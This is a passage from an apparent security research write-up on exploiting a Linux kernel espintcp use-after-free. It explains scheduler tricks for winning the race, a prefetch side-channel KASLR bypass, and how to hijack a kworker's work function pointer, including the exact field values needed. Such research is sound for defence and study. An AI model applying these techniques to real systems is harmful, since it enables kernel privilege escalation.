<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span>
<span class="nf">place_entity</span><span class="p">(</span><span class="k">struct</span> <span class="n">cfs_rq</span> <span class="o">*</span><span class="n">cfs_rq</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sched_entity</span> <span class="o">*</span><span class="n">se</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">u64</span> <span class="n">vslice</span><span class="p">,</span> <span class="n">vruntime</span> <span class="o">=</span> <span class="n">avg_vruntime</span><span class="p">(</span><span class="n">cfs_rq</span><span class="p">);</span>
        <span class="n">s64</span> <span class="n">lag</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">se</span><span class="o">-&gt;</span><span class="n">custom_slice</span><span class="p">)</span>
                <span class="n">se</span><span class="o">-&gt;</span><span class="n">slice</span> <span class="o">=</span> <span class="n">sysctl_sched_base_slice</span><span class="p">;</span>
        <span class="n">vslice</span> <span class="o">=</span> <span class="n">calc_delta_fair</span><span class="p">(</span><span class="n">se</span><span class="o">-&gt;</span><span class="n">slice</span><span class="p">,</span> <span class="n">se</span><span class="p">);</span>
        
        <span class="k">if</span> <span class="p">(</span><span class="n">sched_feat</span><span class="p">(</span><span class="n">PLACE_LAG</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">cfs_rq</span><span class="o">-&gt;</span><span class="n">nr_queued</span> <span class="o">&amp;&amp;</span> <span class="n">se</span><span class="o">-&gt;</span><span class="n">vlag</span><span class="p">)</span> <span class="p">{</span>
                <span class="k">struct</span> <span class="n">sched_entity</span> <span class="o">*</span><span class="n">curr</span> <span class="o">=</span> <span class="n">cfs_rq</span><span class="o">-&gt;</span><span class="n">curr</span><span class="p">;</span>
                <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">load</span><span class="p">;</span>

                <span class="n">lag</span> <span class="o">=</span> <span class="n">se</span><span class="o">-&gt;</span><span class="n">vlag</span><span class="p">;</span>
                
                <span class="p">[...]</span>
        <span class="p">}</span>

        <span class="n">se</span><span class="o">-&gt;</span><span class="n">vruntime</span> <span class="o">=</span> <span class="n">vruntime</span> <span class="o">-</span> <span class="n">lag</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">se</span><span class="o">-&gt;</span><span class="n">rel_deadline</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">se</span><span class="o">-&gt;</span><span class="n">deadline</span> <span class="o">+=</span> <span class="n">se</span><span class="o">-&gt;</span><span class="n">vruntime</span><span class="p">;</span>
                <span class="n">se</span><span class="o">-&gt;</span><span class="n">rel_deadline</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
                <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>
        
        <span class="k">if</span> <span class="p">(</span><span class="n">sched_feat</span><span class="p">(</span><span class="n">PLACE_DEADLINE_INITIAL</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">ENQUEUE_INITIAL</span><span class="p">))</span>
                <span class="n">vslice</span> <span class="o">/=</span> <span class="mi">2</span><span class="p">;</span>

        <span class="n">se</span><span class="o">-&gt;</span><span class="n">deadline</span> <span class="o">=</span> <span class="n">se</span><span class="o">-&gt;</span><span class="n">vruntime</span> <span class="o">+</span> <span class="n">vslice</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The call stack for this task migration is as follows. After the heap spray thread is migrated through the <code class="language-plaintext highlighter-rouge">sched_setaffinity()</code> system call path, the <code class="language-plaintext highlighter-rouge">TIF_NEED_RESCHED</code> flag is set on the <code class="language-plaintext highlighter-rouge">espintcp_close()</code> task that is currently running on cpu0. Because of that, scheduling is triggered on the syscall exit path after <code class="language-plaintext highlighter-rouge">espintcp_close()</code> returns (or <code class="language-plaintext highlighter-rouge">TIF_NEED_RESCHED</code> may already have been set even earlier).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SYSCALL_DEFINE3(sched_setaffinity)
  sched_setaffinity(pid, new_mask)
    __sched_setaffinity(pid, new_mask)
      __set_cpus_allowed_ptr(p, ctx)
        __set_cpus_allowed_ptr_locked(p)
          affine_move_task()
            move_queued_task(rq=rp_cpu1, p, new_cpu=cpu0)
              deactivate_task(rq_cpu1, p, DEQUEUE_NOCLOCK)    // Dequeue the heap spray thread from the old cpu1 rq
                dequeue_task(rq_cpu1, p)
                  dequeue_task_fair(rq_cpu1)
                    dequeue_entities(rq_cpu1)
                      dequeue_entity(rq_cpu1)
                        update_entity_lag(rq_cpu1)
                          se-&gt;vlag = clamp(vlag, -limit, limit);    // Save vlag
              set_task_cpu(p, cpu0)
              activate_task(rq_cpu0, p, 0)    // Enqueue the heap spray thread onto the cpu0 rq
                enqueue_task(rq_cpu0, p)
                  enqueue_task_fair(rq_cpu0)
                    enqueue_entity(rq_cpu0)
                      place_entity(rq_cpu0)
                        se-&gt;vruntime = vruntime - lag;    // Apply the saved vlag
              wakeup_preempt(rq_cpu0)
                resched_curr(rq_cpu0)
                  __resched_curr(rq_cpu0, TIF_NEED_RESCHED)
                    set_nr_and_not_polling(TIF_NEED_RESCHED)
                      set_ti_thread_flag(cpu0, TIF_NEED_RESCHED)    // Set TIF_NEED_RESCHED on the espintcp_close task
                    smp_send_reschedule(cpu0)    // Send sysvec_reschedule_ipi to cpu0
</code></pre></div></div>

<p>Of course, the exact scheduling outcome under CFS depends on many factors and cannot be predicted in a fully deterministic way, and because of the various mechanisms that exist to preserve fairness, it is also difficult to cause dramatic changes in ordering. Even so, this step makes it possible to introduce a new case in which the heap spray thread can slip in before the worker runs right after <code class="language-plaintext highlighter-rouge">ctx</code> is freed. As a result, reallocation can be nudged even within a very short window of around <code class="language-plaintext highlighter-rouge">7 µs</code>. That said, this process inherently relies on indirect influence and probabilistic attempts, so repeated trials are required to achieve a sufficient success rate.</p>

<p>In addition, there is room to combine this with another idea. A thread can be created in advance and put to sleep, then woken up at the right time, or cycled through sleep and wake-up repeatedly, to steer it toward a relatively smaller <code class="language-plaintext highlighter-rouge">vruntime</code>. This may create more favorable conditions for increasing the <code class="language-plaintext highlighter-rouge">lag</code> value. However, this idea has not been validated in practice, and due to the lag averaging performed in <code class="language-plaintext highlighter-rouge">place_entity()</code>, it is unlikely to produce a meaningful effect.</p>

<p>In any case, this step still looks like an area with room for further refinement.</p>

<h2 id="the-full-timeline">The Full Timeline</h2>

<p>The following diagram shows the final sequence that achieves a Use-After-Free with this espintcp vulnerability.</p>

<p>Some kernel call stacks and the exact entry points of softirqs are omitted for the sake of clarity.</p>

<p><img src="/assets/images/diagram4.svg" alt="Diagram 4" /></p>

<h1 id="exploit-sequence">Exploit Sequence</h1>

<h2 id="bypassing-kaslr-via-prefetch-attack">Bypassing KASLR via Prefetch Attack</h2>

<p>Before getting into the actual exploit, this exploit uses a <a href="https://gruss.cc/files/prefetch.pdf">Prefetch Side-Channel Attack</a> to bypass KASLR. Because the race scenario in this vulnerability is highly complex, using the same vulnerability twice, once for an information leak and once for triggering the UAF, is not practical. For that reason, the KASLR bypass relies on a separate side channel technique to improve exploit reliability.</p>

<p>On microarchitectures where Meltdown mitigations are applied in hardware, KPTI is often disabled. In such environments, it is already well known that the kernel text can be inferred using a Prefetch Attack.</p>

<p>This exploit takes advantage of that property to compute the locations of kernel symbols and build the ROP payload.</p>

<h2 id="from-uaf-to-exploitation-primitive">From UAF to Exploitation Primitive</h2>

<p>Now this UAF write needs to be promoted into a primitive that can be used for an actual exploit. Under the current race scenario, there are two candidate objects that can be reallocated at the freed address: <code class="language-plaintext highlighter-rouge">struct espintcp_ctx</code> and <code class="language-plaintext highlighter-rouge">struct sock</code>. In other words, the same UAF write can end up overwriting either type of object.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">espintcp_ctx</span> <span class="p">{</span>
        <span class="k">struct</span> <span class="n">strparser</span> <span class="n">strp</span><span class="p">;</span>
        <span class="k">struct</span> <span class="n">sk_buff_head</span> <span class="n">ike_queue</span><span class="p">;</span>
        <span class="k">struct</span> <span class="n">sk_buff_head</span> <span class="n">out_queue</span><span class="p">;</span>
        <span class="k">struct</span> <span class="n">espintcp_msg</span> <span class="n">partial</span><span class="p">;</span>
        <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">saved_data_ready</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">);</span>
        <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">saved_write_space</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">);</span>
        <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">saved_destruct</span><span class="p">)(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">);</span>
        <span class="k">struct</span> <span class="n">work_struct</span> <span class="n">work</span><span class="p">;</span>
        <span class="n">bool</span> <span class="n">tx_running</span><span class="p">;</span>
<span class="p">};</span>

<span class="k">struct</span> <span class="n">sock</span> <span class="p">{</span>
        <span class="cm">/*
         * Now struct inet_timewait_sock also uses sock_common, so please just
         * don't add nothing before this first member (__sk_common) --acme
         */</span>
        <span class="k">struct</span> <span class="n">sock_common</span>      <span class="n">__sk_common</span><span class="p">;</span>
<span class="cp">#define sk_node                 __sk_common.skc_node
#define sk_nulls_node           __sk_common.skc_nulls_node
#define sk_refcnt               __sk_common.skc_refcnt
#define sk_tx_queue_mapping     __sk_common.skc_tx_queue_mapping
</span>        <span class="p">[...]</span>
<span class="p">};</span>
</code></pre></div></div>

<p>Looking at the workqueue execution flow, the first place where the freed pointer is dereferenced is on the <code class="language-plaintext highlighter-rouge">ctx</code> side. kworker touches <code class="language-plaintext highlighter-rouge">struct espintcp_ctx</code> first, and only follows <code class="language-plaintext highlighter-rouge">sk</code> later. For this reason, overwriting <code class="language-plaintext highlighter-rouge">ctx</code> is a more direct primitive for hijacking control flow than overwriting <code class="language-plaintext highlighter-rouge">sk</code>.</p>

<p>In particular, kworker calls <code class="language-plaintext highlighter-rouge">process_one_work()</code> to run a work handler, and this function directly calls the function pointer <code class="language-plaintext highlighter-rouge">work-&gt;func</code> stored in <code class="language-plaintext highlighter-rouge">struct work_struct</code>. Since <code class="language-plaintext highlighter-rouge">struct espintcp_ctx</code> embeds <code class="language-plaintext highlighter-rouge">struct work_struct work</code>, overwriting <code class="language-plaintext highlighter-rouge">ctx-&gt;work.func</code> via the UAF write allows control flow to be redirected to an arbitrary address in kworker context. Because <code class="language-plaintext highlighter-rouge">ctx-&gt;work</code> is passed as an argument, it also makes stack pivoting possible. The <code class="language-plaintext highlighter-rouge">process_one_work()</code> site is the key path that promotes the current UAF write into a RIP control primitive.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">work_struct</span> <span class="p">{</span>
        <span class="n">atomic_long_t</span> <span class="n">data</span><span class="p">;</span>
        <span class="k">struct</span> <span class="n">list_head</span> <span class="n">entry</span><span class="p">;</span>
        <span class="n">work_func_t</span> <span class="n">func</span><span class="p">;</span>
<span class="cp">#ifdef CONFIG_LOCKDEP
</span>        <span class="k">struct</span> <span class="n">lockdep_map</span> <span class="n">lockdep_map</span><span class="p">;</span>
<span class="cp">#endif
</span><span class="p">};</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">process_one_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">worker</span> <span class="o">*</span><span class="n">worker</span><span class="p">,</span> <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span>
<span class="n">__releases</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">)</span>
<span class="n">__acquires</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">)</span>
<span class="p">{</span>        
        <span class="p">[...]</span>
        
        <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_func</span> <span class="o">=</span> <span class="n">work</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">;</span>
        
        <span class="p">[...]</span>

        <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_func</span><span class="p">(</span><span class="n">work</span><span class="p">);</span>
        
        <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The call stack from waking up kworker to reaching <code class="language-plaintext highlighter-rouge">process_one_work()</code> looks as follows.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">worker_thread</span><span class="p">()</span>
  <span class="n">work</span> <span class="o">=</span> <span class="n">list_first_entry</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">worklist</span><span class="p">)</span>
  <span class="n">assign_work</span><span class="p">(</span><span class="n">work</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">worker</span><span class="o">-&gt;</span><span class="n">scheduled</span><span class="p">)</span>    <span class="c1">// work: &amp;ctx-&gt;work</span>
    <span class="n">move_linked_works</span><span class="p">(</span><span class="n">work</span><span class="p">)</span>
      <span class="n">list_for_each_entry_safe_from</span><span class="p">(</span><span class="n">work</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">entry</span><span class="p">)</span>
      <span class="n">list_move_tail</span><span class="p">(</span><span class="o">&amp;</span><span class="n">work</span><span class="o">-&gt;</span><span class="n">entry</span><span class="p">,</span> <span class="n">head</span><span class="p">)</span>
      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="o">*</span><span class="n">work_data_bits</span><span class="p">(</span><span class="n">work</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">WORK_STRUCT_LINKED</span><span class="p">))</span> <span class="k">break</span><span class="p">;</span>
  <span class="n">process_scheduled_works</span><span class="p">()</span>
    <span class="n">process_one_work</span><span class="p">()</span>
</code></pre></div></div>

<p>Among these frames, <code class="language-plaintext highlighter-rouge">move_linked_works()</code> is the first place that dereferences the freed <code class="language-plaintext highlighter-rouge">ctx-&gt;work</code>. It starts from the current UAF object, <code class="language-plaintext highlighter-rouge">ctx-&gt;work</code>, and walks the list, moving each entry to <code class="language-plaintext highlighter-rouge">&amp;worker-&gt;scheduled</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define work_data_bits(work) ((unsigned long *)(&amp;(work)-&gt;data))
</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">move_linked_works</span><span class="p">(</span><span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">,</span> <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">head</span><span class="p">,</span>
                              <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">**</span><span class="n">nextp</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">n</span><span class="p">;</span>

        <span class="cm">/*
         * Linked worklist will always end before the end of the list,
         * use NULL for list head.
         */</span>
        <span class="n">list_for_each_entry_safe_from</span><span class="p">(</span><span class="n">work</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">entry</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">list_move_tail</span><span class="p">(</span><span class="o">&amp;</span><span class="n">work</span><span class="o">-&gt;</span><span class="n">entry</span><span class="p">,</span> <span class="n">head</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="o">*</span><span class="n">work_data_bits</span><span class="p">(</span><span class="n">work</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">WORK_STRUCT_LINKED</span><span class="p">))</span>    <span class="c1">// &lt;=[13]</span>
                        <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="p">[...]</span>
<span class="p">}</span>

<span class="k">static</span> <span class="n">bool</span> <span class="nf">assign_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">,</span> <span class="k">struct</span> <span class="n">worker</span> <span class="o">*</span><span class="n">worker</span><span class="p">,</span>
                        <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">**</span><span class="n">nextp</span><span class="p">)</span>
<span class="p">{</span>
        <span class="p">[...]</span>
        
        <span class="n">move_linked_works</span><span class="p">(</span><span class="n">work</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">worker</span><span class="o">-&gt;</span><span class="n">scheduled</span><span class="p">,</span> <span class="n">nextp</span><span class="p">);</span>
        <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At this point, <code class="language-plaintext highlighter-rouge">list_move_tail()</code> internally calls <code class="language-plaintext highlighter-rouge">__list_del_entry_valid()</code> to perform a list integrity check.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">__always_inline</span> <span class="n">bool</span> <span class="nf">__list_del_entry_valid</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">entry</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">bool</span> <span class="n">ret</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IS_ENABLED</span><span class="p">(</span><span class="n">CONFIG_DEBUG_LIST</span><span class="p">))</span> <span class="p">{</span>
                <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">prev</span> <span class="o">=</span> <span class="n">entry</span><span class="o">-&gt;</span><span class="n">prev</span><span class="p">;</span>
                <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">next</span> <span class="o">=</span> <span class="n">entry</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>

                <span class="k">if</span> <span class="p">(</span><span class="n">likely</span><span class="p">(</span><span class="n">prev</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">==</span> <span class="n">entry</span> <span class="o">&amp;&amp;</span> <span class="n">next</span><span class="o">-&gt;</span><span class="n">prev</span> <span class="o">==</span> <span class="n">entry</span><span class="p">))</span>
                        <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
                <span class="n">ret</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">ret</span> <span class="o">&amp;=</span> <span class="n">__list_del_entry_valid_or_report</span><span class="p">(</span><span class="n">entry</span><span class="p">);</span>
        <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">__list_del_entry</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">entry</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">__list_del_entry_valid</span><span class="p">(</span><span class="n">entry</span><span class="p">))</span>
                <span class="k">return</span><span class="p">;</span>

        <span class="n">__list_del</span><span class="p">(</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">prev</span><span class="p">,</span> <span class="n">entry</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">list_move_tail</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">list</span><span class="p">,</span>
                                  <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">head</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">__list_del_entry</span><span class="p">(</span><span class="n">list</span><span class="p">);</span>
        <span class="n">list_add_tail</span><span class="p">(</span><span class="n">list</span><span class="p">,</span> <span class="n">head</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The current test kernel is built from the Ubuntu 25.10 configuration, so <code class="language-plaintext highlighter-rouge">CONFIG_DEBUG_LIST</code> is disabled. Because of that, the kernel does not panic in the <code class="language-plaintext highlighter-rouge">__list_del_entry_valid_or_report()</code> path. This allows the attacker to keep execution going by placing any readable, valid kernel address into <code class="language-plaintext highlighter-rouge">entry-&gt;prev</code> when <code class="language-plaintext highlighter-rouge">ctx</code> is reallocated.</p>

<p>In this state, <code class="language-plaintext highlighter-rouge">list_move_tail()</code> fails to unlink the node and ends up only executing <code class="language-plaintext highlighter-rouge">list_add_tail()</code>. As a result, an invalid node remains in <code class="language-plaintext highlighter-rouge">pool-&gt;worklist</code>. If the walk in <code class="language-plaintext highlighter-rouge">move_linked_works()</code> continues, the next pointer <code class="language-plaintext highlighter-rouge">n</code> computed by the <code class="language-plaintext highlighter-rouge">list_for_each_entry_safe_from()</code> macro ends up pointing to an invalid address. On the following iteration, that invalid pointer is treated as a <code class="language-plaintext highlighter-rouge">work_struct</code>, and list manipulation starts to run out of control. For this reason, in this scenario, the <code class="language-plaintext highlighter-rouge">WORK_STRUCT_LINKED</code> flag must be added to <code class="language-plaintext highlighter-rouge">work-&gt;data</code> using a <code class="language-plaintext highlighter-rouge">|</code> operation, so that the loop breaks immediately after the first iteration<code class="language-plaintext highlighter-rouge">[13]</code>.</p>

<p>If the same exploit is attempted on a kernel with <code class="language-plaintext highlighter-rouge">CONFIG_DEBUG_LIST</code> enabled, simply writing an arbitrary kernel address into <code class="language-plaintext highlighter-rouge">entry-&gt;prev</code> is not enough to pass the validation step. In that case, slab allocation alignment has to be matched and a real object containing a <code class="language-plaintext highlighter-rouge">struct list_head</code> must be placed at the <code class="language-plaintext highlighter-rouge">ctx-&gt;work.entry</code> position using a cross cache technique. Only then can the list integrity check be bypassed and execution be driven along the same path.</p>

<p>Next, <code class="language-plaintext highlighter-rouge">process_one_work()</code> also has a set of conditions that must be satisfied before reaching a point where RIP control is possible. This section lists, in order, which values need to be set inside <code class="language-plaintext highlighter-rouge">process_one_work()</code> so that execution continues and eventually reaches the function pointer call site.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">pool_workqueue</span> <span class="p">{</span>
        <span class="k">struct</span> <span class="n">worker_pool</span>      <span class="o">*</span><span class="n">pool</span><span class="p">;</span>          <span class="cm">/* I: the associated pool */</span>
        <span class="k">struct</span> <span class="n">workqueue_struct</span> <span class="o">*</span><span class="n">wq</span><span class="p">;</span>            <span class="cm">/* I: the owning workqueue */</span>
        <span class="p">[...]</span>

        <span class="n">u64</span>                     <span class="n">stats</span><span class="p">[</span><span class="n">PWQ_NR_STATS</span><span class="p">];</span>
        
        <span class="p">[...]</span>
<span class="p">}</span> <span class="n">__aligned</span><span class="p">(</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">WORK_STRUCT_PWQ_SHIFT</span><span class="p">);</span>

<span class="k">static</span> <span class="kr">inline</span> <span class="k">struct</span> <span class="n">pool_workqueue</span> <span class="o">*</span><span class="nf">work_struct_pwq</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">data</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">return</span> <span class="p">(</span><span class="k">struct</span> <span class="n">pool_workqueue</span> <span class="o">*</span><span class="p">)(</span><span class="n">data</span> <span class="o">&amp;</span> <span class="n">WORK_STRUCT_PWQ_MASK</span><span class="p">);</span>    <span class="c1">// WORK_STRUCT_PWQ_MASK: 256 bytes alignment</span>
<span class="p">}</span>

<span class="k">static</span> <span class="k">struct</span> <span class="n">pool_workqueue</span> <span class="o">*</span><span class="nf">get_work_pwq</span><span class="p">(</span><span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span>
<span class="p">{</span>
        <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">data</span> <span class="o">=</span> <span class="n">atomic_long_read</span><span class="p">(</span><span class="o">&amp;</span><span class="n">work</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">data</span> <span class="o">&amp;</span> <span class="n">WORK_STRUCT_PWQ</span><span class="p">)</span>
                <span class="k">return</span> <span class="n">work_struct_pwq</span><span class="p">(</span><span class="n">data</span><span class="p">);</span>
        <span class="k">else</span>
                <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">process_one_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">worker</span> <span class="o">*</span><span class="n">worker</span><span class="p">,</span> <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span>
<span class="n">__releases</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">)</span>
<span class="n">__acquires</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">pool_workqueue</span> <span class="o">*</span><span class="n">pwq</span> <span class="o">=</span> <span class="n">get_work_pwq</span><span class="p">(</span><span class="n">work</span><span class="p">);</span>    <span class="c1">// &lt;=[14]</span>
        <span class="k">struct</span> <span class="n">worker_pool</span> <span class="o">*</span><span class="n">pool</span> <span class="o">=</span> <span class="n">worker</span><span class="o">-&gt;</span><span class="n">pool</span><span class="p">;</span>
        <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">work_data</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">lockdep_start_depth</span><span class="p">,</span> <span class="n">rcu_start_depth</span><span class="p">;</span>
        <span class="n">bool</span> <span class="n">bh_draining</span> <span class="o">=</span> <span class="n">pool</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">POOL_BH_DRAINING</span><span class="p">;</span>
        
        <span class="p">[...]</span>
        
        <span class="n">strscpy</span><span class="p">(</span><span class="n">worker</span><span class="o">-&gt;</span><span class="n">desc</span><span class="p">,</span> <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">wq</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">,</span> <span class="n">WORKER_DESC_LEN</span><span class="p">);</span>    <span class="c1">// &lt;=[15]</span>
        
        <span class="p">[...]</span>
        
        <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">stats</span><span class="p">[</span><span class="n">PWQ_STAT_STARTED</span><span class="p">]</span><span class="o">++</span><span class="p">;</span>    <span class="c1">// &lt;=[16] PWQ_STAT_STARTED: 0</span>
        
        <span class="p">[...]</span>       
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>After retrieving <code class="language-plaintext highlighter-rouge">pwq</code> with <code class="language-plaintext highlighter-rouge">get_work_pwq()</code>, it is used as the basis for several operations<code class="language-plaintext highlighter-rouge">[14]</code>. The kernel uses the lower 256 bytes of the <code class="language-plaintext highlighter-rouge">struct pool_workqueue</code> pointer for flags, so applying <code class="language-plaintext highlighter-rouge">WORK_STRUCT_PWQ_MASK</code> means <code class="language-plaintext highlighter-rouge">pwq</code> is always interpreted as a 256 byte aligned address. Since data is then copied from <code class="language-plaintext highlighter-rouge">pwq-&gt;wq-&gt;name</code> <code class="language-plaintext highlighter-rouge">[15]</code>, this ends up dereferencing the pointer at <code class="language-plaintext highlighter-rouge">pwq+0x08</code>. When the object is reallocated, <code class="language-plaintext highlighter-rouge">work-&gt;data</code> therefore needs to contain a kernel pointer that satisfies this alignment and masking rule.</li>
  <li>Since <code class="language-plaintext highlighter-rouge">pwq-&gt;stats[PWQ_STAT_STARTED]++</code> is executed <code class="language-plaintext highlighter-rouge">[16]</code>, the memory at <code class="language-plaintext highlighter-rouge">pwq+0xa8</code> needs to be writable kernel memory.</li>
</ul>

<p>Any kernel symbol that satisfies the conditions above can be used, but this article uses <code class="language-plaintext highlighter-rouge">net_families</code>. Since <code class="language-plaintext highlighter-rouge">net_families</code> is a pointer array with 46 entries, each element is laid out contiguously in 8 byte units. As a result, one of the elements in the array can be used as a pointer that can be dereferenced at the <code class="language-plaintext highlighter-rouge">pwq+0x08</code> position. Of course, that element needs to be a pointer to a socket family that is already registered in the kernel.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define AF_MAX          46
#define NPROTO          AF_MAX
</span>
<span class="k">static</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">net_proto_family</span> <span class="n">__rcu</span> <span class="o">*</span><span class="n">net_families</span><span class="p">[</span><span class="n">NPROTO</span><span class="p">]</span> <span class="n">__read_mostly</span><span class="p">;</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">net_families</code> also lives in the <code class="language-plaintext highlighter-rouge">__read_mostly</code> section, and this region is writable. That means a write to the <code class="language-plaintext highlighter-rouge">pwq+0xa8</code> offset is also possible.</p>

<p>To summarize, the memory layout of <code class="language-plaintext highlighter-rouge">struct work_struct</code> required to reach RIP control looks as follows. In the test environment, the element at the <code class="language-plaintext highlighter-rouge">pwq+0x08</code> position corresponds to <code class="language-plaintext highlighter-rouge">AF_CAN</code>, so the diagram is drawn based on that.</p>

<p><img src="/assets/images/diagram5.svg" width="830" /></p>

<h2 id="heap-spray-with-user_key_payload">Heap Spray with user_key_payload</h2>

